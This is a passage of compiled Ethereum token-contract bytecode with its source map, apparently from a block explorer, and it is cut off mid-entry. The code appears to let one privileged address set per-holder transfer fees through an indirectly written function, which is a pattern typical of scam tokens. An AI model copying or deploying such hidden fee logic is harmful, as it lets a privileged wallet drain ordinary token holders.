90505f6003826105bb9190611733565b90508091506002816105cd9190611895565b6008546103e86105dd91906118df565b6105e791906118df565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f610639338484610b36565b6001905092915050565b60085481565b5f610655848484610c1d565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146107d6578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107599190611733565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f99061196a565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546109e3906116d6565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0f906116d6565b8015610a5a5780601f10610a3157610100808354040283529160200191610a5a565b820191905f5260205f20905b815481529060010190602001808311610a3d57829003601f168201915b505050505081565b5f610a6e338484610c1d565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f600190505f600290505f600390505f610b15848484610fdf565b9050610b218185611004565b9050610b2e868683611025565b505050505050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c109190611398565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610c82575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610cd5575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d209190611733565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115610ed3575f6064600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205485610db491906118df565b610dbe91906119b5565b90508082610dcc91906119e5565b91505f811115610ed1578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e4391906119e5565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ec89190611398565b60405180910390a35b505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f1d91906119e5565b610f279190611733565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610fc39190611733565b604051610fd09190611398565b60405180910390a35050505050565b5f80610fec8585856110ba565b90508281610ffa9190611733565b9150509392505050565b5f6001826110129190611733565b8361101d91906119e5565b905092915050565b5f8190505f5b84518110156110b35781836110409190611733565b8461104b91906119e5565b600a5f87848151811061106157611060611a18565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061102b565b5050505050565b5f6110c484611107565b156110dc5781836110d591906119e5565b9050611100565b6110e583611107565b6110fc5783836110f59190611733565b9050611100565b8190505b9392505050565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161490505f808411905081801561116b5750805b1561117b576001925050506111a0565b8161118a575f925050506111a0565b80611199575f925050506111a0565b6001925050505b919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111dc5780820151818401526020810190506111c1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611201826111a5565b61120b81856111af565b935061121b8185602086016111bf565b611224816111e7565b840191505092915050565b5f6020820190508181035f83015261124781846111f7565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61128982611260565b9050919050565b6112998161127f565b81146112a3575f80fd5b50565b5f813590506112b481611290565b92915050565b5f602082840312156112cf576112ce611258565b5b5f6112dc848285016112a6565b91505092915050565b5f819050919050565b6112f7816112e5565b8114611301575f80fd5b50565b5f81359050611312816112ee565b92915050565b5f806040838503121561132e5761132d611258565b5b5f61133b858286016112a6565b925050602061134c85828601611304565b9150509250929050565b5f8115159050919050565b61136a81611356565b82525050565b5f6020820190506113835f830184611361565b92915050565b611392816112e5565b82525050565b5f6020820190506113ab5f830184611389565b92915050565b5f805f606084860312156113c8576113c7611258565b5b5f6113d5868287016112a6565b93505060206113e6868287016112a6565b92505060406113f786828701611304565b9150509250925092565b5f60ff82169050919050565b61141681611401565b82525050565b5f60208201905061142f5f83018461140d565b92915050565b61143e8161127f565b82525050565b5f6020820190506114575f830184611435565b92915050565b5f819050919050565b5f61148061147b61147684611260565b61145d565b611260565b9050919050565b5f61149182611466565b9050919050565b5f6114a282611487565b9050919050565b6114b281611498565b82525050565b5f6020820190506114cb5f8301846114a9565b92915050565b5f80604083850312156114e7576114e6611258565b5b5f6114f4858286016112a6565b9250506020611505858286016112a6565b9150509250929050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611549826111e7565b810181811067ffffffffffffffff8211171561156857611567611513565b5b80604052505050565b5f61157a61124f565b90506115868282611540565b919050565b5f67ffffffffffffffff8211156115a5576115a4611513565b5b602082029050602081019050919050565b5f80fd5b5f6115cc6115c78461158b565b611571565b905080838252602082019050602084028301858111156115ef576115ee6115b6565b5b835b81811015611618578061160488826112a6565b8452602084019350506020810190506115f1565b5050509392505050565b5f82601f8301126116365761163561150f565b5b81356116468482602086016115ba565b91505092915050565b5f806040838503121561166557611664611258565b5b5f83013567ffffffffffffffff8111156116825761168161125c565b5b61168e85828601611622565b925050602061169f85828601611304565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116ed57607f821691505b602082108103611700576116ff6116a9565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61173d826112e5565b9150611748836112e5565b92508282039050818111156117605761175f611706565b5b92915050565b5f8160011c9050919050565b5f808291508390505b60018511156117bb5780860481111561179757611796611706565b5b60018516156117a65780820291505b80810290506117b485611766565b945061177b565b94509492505050565b5f826117d3576001905061188e565b816117e0575f905061188e565b81600181146117f657600281146118005761182f565b600191505061188e565b60ff84111561181257611811611706565b5b8360020a91508482111561182957611828611706565b5b5061188e565b5060208310610133831016604e8410600b84101617156118645782820a90508381111561185f5761185e611706565b5b61188e565b6118718484846001611772565b9250905081840481111561188857611887611706565b5b81810290505b9392505050565b5f61189f826112e5565b91506118aa83611401565b92506118d77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117c4565b905092915050565b5f6118e9826112e5565b91506118f4836112e5565b9250828202611902816112e5565b9150828204841483151761191957611918611706565b5b5092915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f6119546006836111af565b915061195f82611920565b602082019050919050565b5f6020820190508181035f83015261198181611948565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119bf826112e5565b91506119ca836112e5565b9250826119da576119d9611988565b5b828204905092915050565b5f6119ef826112e5565b91506119fa836112e5565b9250828201905080821115611a1257611a11611706565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220edba3bf0e83d125b9e2afabff51fb929ab8cc7ad24586d04dea37ad9b5a9fa2864736f6c63430008160033
Deployed Bytecode Sourcemap
1052:5375:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1406:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5142:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5773:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1530:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5903:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1725:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1452:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1474:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1669:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1380:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1755:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;929:114;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1557:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5413:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;757:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1425:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5513:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5649:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3367:347;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1406:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5142:263::-;5199:44;5246:9;5199:56;;5266:9;5292:10;5278:24;;:10;;;;;;;;;;;:24;;;:34;;5309:3;5278:34;;;5305:1;5278:34;5266:46;;;;5323:9;5339:1;5335;:5;;;;:::i;:::-;5323:17;;5345:1;5341:5;;5396:1;5393;:4;;;;:::i;:::-;5381:11;;5376:4;:16;;;;:::i;:::-;:21;;;;:::i;:::-;5357:10;:16;5368:4;5357:16;;;;;;;;;;;;;;;:40;;;;5188:217;;;5142:263;:::o;5773:124::-;5839:4;5846:37;5855:10;5867:7;5876:6;5846:8;:37::i;:::-;5891:4;5884:11;;5773:124;;;;:::o;1530:26::-;;;;:::o;5903:327::-;5992:4;6009:36;6019:6;6027:9;6038:6;6009:9;:36::i;:::-;1660:1;1651:11;6060;:19;6072:6;6060:19;;;;;;;;;;;;;;;:31;6080:10;6060:31;;;;;;;;;;;;;;;;:38;6056:145;;6183:6;6149:11;:19;6161:6;6149:19;;;;;;;;;;;;;;;:31;6169:10;6149:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6115:11;:19;6127:6;6115:19;;;;;;;;;;;;;;;:31;6135:10;6115:31;;;;;;;;;;;;;;;:74;;;;6056:145;6218:4;6211:11;;5903:327;;;;;:::o;1725:23::-;;;;:::o;1452:21::-;;;;;;;;;;;;;:::o;1474:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1669:46::-;;;;;;;;;;;;;;;;;:::o;1380:25::-;;;;;;;;;;;;;:::o;1755:27::-;;;;;;;;;;;;;:::o;929:114::-;876:10;866:20;;:6;;;;;;;;;;:20;;;858:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1027:8:::1;1018:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;929:114:::0;:::o;1557:36::-;;;;;;;;;;;;;:::o;5413:94::-;5470:7;5487:9;:18;5497:7;5487:18;;;;;;;;;;;;;;;;5480:25;;5413:94;;;:::o;757:63::-;795:7;812:6;;;;;;;;;;;805:13;;757:63;:::o;1425:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5513:130::-;5582:4;5589:40;5599:10;5611:9;5622:6;5589:9;:40::i;:::-;5637:4;5630:11;;5513:130;;;;:::o;5649:118::-;5721:7;5738:11;:18;5750:5;5738:18;;;;;;;;;;;;;;;:27;5757:7;5738:27;;;;;;;;;;;;;;;;5731:34;;5649:118;;;;:::o;3367:347::-;3457:16;3476:4;3457:23;;3481:16;3500:4;3481:23;;3505:16;3524:4;3505:23;;3529:14;3546:44;3561:8;3571;3581;3546:14;:44::i;:::-;3529:61;;3610:34;3627:6;3635:8;3610:16;:34::i;:::-;3601:43;;3655:51;3671:10;3683:14;3699:6;3655:15;:51::i;:::-;3446:268;;;;3367:347;;:::o;6238:151::-;6343:6;6313:11;:18;6325:5;6313:18;;;;;;;;;;;;;;;:27;6332:7;6313:27;;;;;;;;;;;;;;;:36;;;;6371:7;6355:32;;6364:5;6355:32;;;6380:6;6355:32;;;;;;:::i;:::-;;;;;;;;6238:151;;;:::o;1791:702::-;1871:20;1895:6;;;;;;;;;;;1894:7;:35;;;;;1906:17;:23;1924:4;1906:23;;;;;;;;;;;;;;;;;;;;;;;;;1905:24;1894:35;:61;;;;;1934:17;:21;1952:2;1934:21;;;;;;;;;;;;;;;;;;;;;;;;;1933:22;1894:61;1871:84;;2004:6;1986:9;:15;1996:4;1986:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;1968:9;:15;1978:4;1968:15;;;;;;;;;;;;;;;:42;;;;2023:18;2056:15;2052:317;;;2088:17;2136:3;2117:10;:16;2128:4;2117:16;;;;;;;;;;;;;;;;2108:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;2088:51;;2168:9;2154:23;;;;;:::i;:::-;;;2208:1;2196:9;:13;2192:166;;;2263:9;2229;:30;2247:10;;;;;;;;;;;2229:30;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;2319:10;;;;;;;;;;;2296:46;;2305:4;2296:46;;;2332:9;2296:46;;;;;;:::i;:::-;;;;;;;;2192:166;2073:296;2052:317;2420:10;2411:6;2395:9;:13;2405:2;2395:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;2379:9;:13;2389:2;2379:13;;;;;;;;;;;;;;;:51;;;;2461:2;2446:39;;2455:4;2446:39;;;2474:10;2465:6;:19;;;;:::i;:::-;2446:39;;;;;;:::i;:::-;;;;;;;;1858:635;;1791:702;;;:::o;3722:192::-;3810:7;3830:14;3847:28;3858:4;3864;3870;3847:10;:28::i;:::-;3830:45;;3902:4;3893:6;:13;;;;:::i;:::-;3886:20;;;3722:192;;;;;:::o;3922:159::-;4012:7;4068:4;4061;:11;;;;:::i;:::-;4039:18;:34;;;;:::i;:::-;4032:41;;3922:159;;;;:::o;4089:294::-;4200:18;4221:6;4200:27;;4243:9;4238:138;4262:9;:16;4258:1;:20;4238:138;;;4353:10;4344:6;:19;;;;:::i;:::-;4327:13;:37;;;;:::i;:::-;4300:10;:24;4311:9;4321:1;4311:12;;;;;;;;:::i;:::-;;;;;;;;4300:24;;;;;;;;;;;;;;;:64;;;;4280:3;;;;;;;4238:138;;;;4189:194;4089:294;;;:::o;4391:300::-;4475:7;4499:18;4512:4;4499:12;:18::i;:::-;4495:189;;;4548:4;4541;:11;;;;:::i;:::-;4534:18;;;;4495:189;4575:18;4588:4;4575:12;:18::i;:::-;4570:114;;4624:4;4617;:11;;;;:::i;:::-;4610:18;;;;4570:114;4668:4;4661:11;;4391:300;;;;;;:::o;4697:431::-;4753:4;4770:19;4806:10;;;;;;;;;;;4792:24;;:10;:24;;;4770:46;;4827:20;4855:1;4850:2;:6;4827:29;;4871:14;:33;;;;;4889:15;4871:33;4867:254;;;4928:4;4921:11;;;;;;4867:254;4955:14;4950:171;;4993:5;4986:12;;;;;;4950:171;5021:15;5016:105;;5060:5;5053:12;;;;;;5016:105;5105:4;5098:11;;;;4697:431;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:329::-;2242:6;2291:2;2279:9;2270:7;2266:23;2262:32;2259:119;;;2297:79;;:::i;:::-;2259:119;2417:1;2442:53;2487:7;2478:6;2467:9;2463:22;2442:53;:::i;:::-;2432:63;;2388:117;2183:329;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:60::-;5568:3;5589:5;5582:12;;5540:60;;;:::o;5606:142::-;5656:9;5689:53;5707:34;5716:24;5734:5;5716:24;:::i;:::-;5707:34;:::i;:::-;5689:53;:::i;:::-;5676:66;;5606:142;;;:::o;5754:126::-;5804:9;5837:37;5868:5;5837:37;:::i;:::-;5824:50;;5754:126;;;:::o;5886:147::-;5957:9;5990:37;6021:5;5990:37;:::i;:::-;5977:50;;5886:147;;;:::o;6039:173::-;6147:58;6199:5;6147:58;:::i;:::-;6142:3;6135:71;6039:173;;:::o;6218:264::-;6332:4;6370:2;6359:9;6355:18;6347:26;;6383:92;6472:1;6461:9;6457:17;6448:6;6383:92;:::i;:::-;6218:264;;;;:::o;6488:474::-;6556:6;6564;6613:2;6601:9;6592:7;6588:23;6584:32;6581:119;;;6619:79;;:::i;:::-;6581:119;6739:1;6764:53;6809:7;6800:6;6789:9;6785:22;6764:53;:::i;:::-;6754:63;;6710:117;6866:2;6892:53;6937:7;6928:6;6917:9;6913:22;6892:53;:::i;:::-;6882:63;;6837:118;6488:474;;;;;:::o;6968:117::-;7077:1;7074;7067:12;7091:180;7139:77;7136:1;7129:88;7236:4;7233:1;7226:15;7260:4;7257:1;7250:15;7277:281;7360:27;7382:4;7360:27;:::i;:::-;7352:6;7348:40;7490:6;7478:10;7475:22;7454:18;7442:10;7439:34;7436:62;7433:88;;;7501:18;;:::i;:::-;7433:88;7541:10;7537:2;7530:22;7320:238;7277:281;;:::o;7564:129::-;7598:6;7625:20;;:::i;:::-;7615:30;;7654:33;7682:4;7674:6;7654:33;:::i;:::-;7564:129;;;:::o;7699:311::-;7776:4;7866:18;7858:6;7855:30;7852:56;;;7888:18;;:::i;:::-;7852:56;7938:4;7930:6;7926:17;7918:25;;7998:4;7992;7988:15;7980:23;;7699:311;;;:::o;8016:117::-;8125:1;8122;8115:12;8156:710;8252:5;8277:81;8293:64;8350:6;8293:64;:::i;:::-;8277:81;:::i;:::-;8268:90;;8378:5;8407:6;8400:5;8393:21;8441:4;8434:5;8430:16;8423:23;;8494:4;8486:6;8482:17;8474:6;8470:30;8523:3;8515:6;8512:15;8509:122;;;8542:79;;:::i;:::-;8509:122;8657:6;8640:220;8674:6;8669:3;8666:15;8640:220;;;8749:3;8778:37;8811:3;8799:10;8778:37;:::i;:::-;8773:3;8766:50;8845:4;8840:3;8836:14;8829:21;;8716:144;8700:4;8695:3;8691:14;8684:21;;8640:220;;;8644:21;8258:608;;8156:710;;;;;:::o;8889:370::-;8960:5;9009:3;9002:4;8994:6;8990:17;8986:27;8976:122;;9017:79;;:::i;:::-;8976:122;9134:6;9121:20;9159:94;9249:3;9241:6;9234:4;9226:6;9222:17;9159:94;:::i;:::-;9150:103;;8966:293;8889:370;;;;:::o;9265:684::-;9358:6;9366;9415:2;9403:9;9394:7;9390:23;9386:32;9383:119;;;9421:79;;:::i;:::-;9383:119;9569:1;9558:9;9554:17;9541:31;9599:18;9591:6;9588:30;9585:117;;;9621:79;;:::i;:::-;9585:117;9726:78;9796:7;9787:6;9776:9;9772:22;9726:78;:::i;:::-;9716:88;;9512:302;9853:2;9879:53;9924:7;9915:6;9904:9;9900:22;9879:53;:::i;:::-;9869:63;;9824:118;9265:684;;;;;:::o;9955:180::-;10003:77;10000:1;9993:88;10100:4;10097:1;10090:15;10124:4;10121:1;10114:15;10141:320;10185:6;10222:1;10216:4;10212:12;10202:22;;10269:1;10263:4;10259:12;10290:18;10280:81;;10346:4;10338:6;10334:17;10324:27;;10280:81;10408:2;10400:6;10397:14;10377:18;10374:38;10371:84;;10427:18;;:::i;:::-;10371:84;10192:269;10141:320;;;:::o;10467:180::-;10515:77;10512:1;10505:88;10612:4;10609:1;10602:15;10636:4;10633:1;10626:15;10653:194;10693:4;10713:20;10731:1;10713:20;:::i;:::-;10708:25;;10747:20;10765:1;10747:20;:::i;:::-;10742:25;;10791:1;10788;10784:9;10776:17;;10815:1;10809:4;10806:11;10803:37;;;10820:18;;:::i;:::-;10803:37;10653:194;;;;:::o;10853:102::-;10895:8;10942:5;10939:1;10935:13;10914:34;;10853:102;;;:::o;10961:848::-;11022:5;11029:4;11053:6;11044:15;;11077:5;11068:14;;11091:712;11112:1;11102:8;11099:15;11091:712;;;11207:4;11202:3;11198:14;11192:4;11189:24;11186:50;;;11216:18;;:::i;:::-;11186:50;11266:1;11256:8;11252:16;11249:451;;;11681:4;11674:5;11670:16;11661:25;;11249:451;11731:4;11725;11721:15;11713:23;;11761:32;11784:8;11761:32;:::i;:::-;11749:44;;11091:712;;;10961:848;;;;;;;:::o;11815:1073::-;11869:5;12060:8;12050:40;;12081:1;12072:10;;12083:5;;12050:40;12109:4;12099:36;;12126:1;12117:10;;12128:5;;12099:36;12195:4;12243:1;12238:27;;;;12279:1;12274:191;;;;12188:277;;12238:27;12256:1;12247:10;;12258:5;;;12274:191;12319:3;12309:8;12306:17;12303:43;;;12326:18;;:::i;:::-;12303:43;12375:8;12372:1;12368:16;12359:25;;12410:3;12403:5;12400:14;12397:40;;;12417:18;;:::i;:::-;12397:40;12450:5;;;12188:277;;12574:2;12564:8;12561:16;12555:3;12549:4;12546:13;12542:36;12524:2;12514:8;12511:16;12506:2;12500:4;12497:12;12493:35;12477:111;12474:246;;;12630:8;12624:4;12620:19;12611:28;;12665:3;12658:5;12655:14;12652:40;;;12672:18;;:::i;:::-;12652:40;12705:5;;12474:246;12745:42;12783:3;12773:8;12767:4;12764:1;12745:42;:::i;:::-;12730:57;;;;12819:4;12814:3;12810:14;12803:5;12800:25;12797:51;;;12828:18;;:::i;:::-;12797:51;12877:4;12870:5;12866:16;12857:25;;11815:1073;;;;;;:::o;12894:281::-;12952:5;12976:23;12994:4;12976:23;:::i;:::-;12968:31;;13020:25;13036:8;13020:25;:::i;:::-;13008:37;;13064:104;13101:66;13091:8;13085:4;13064:104;:::i;:::-;13055:113;;12894:281;;;;:::o;13181:410::-;13221:7;13244:20;13262:1;13244:20;:::i;:::-;13239:25;;13278:20;13296:1;13278:20;:::i;:::-;13273:25;;13333:1;13330;13326:9;13355:30;13373:11;13355:30;:::i;:::-;13344:41;;13534:1;13525:7;13521:15;13518:1;13515:22;13495:1;13488:9;13468:83;13445:139;;13564:18;;:::i;:::-;13445:139;13229:362;13181:410;;;;:::o;13597:156::-;13737:8;13733:1;13725:6;13721:14;13714:32;13597:156;:::o;13759:365::-;13901:3;13922:66;13986:1;13981:3;13922:66;:::i;:::-;13915:73;;13997:93;14086:3;13997:93;:::i;:::-;14115:2;14110:3;14106:12;14099:19;;13759:365;;;:::o;14130:419::-;14296:4;14334:2;14323:9;14319:18;14311:26;;14383:9;14377:4;14373:20;14369:1;14358:9;14354:17;14347:47;14411:131;14537:4;14411:131;:::i;:::-;14403:139;;14130:419;;;:::o;14555:180::-;14603:77;14600:1;14593:88;14700:4;14697:1;14690: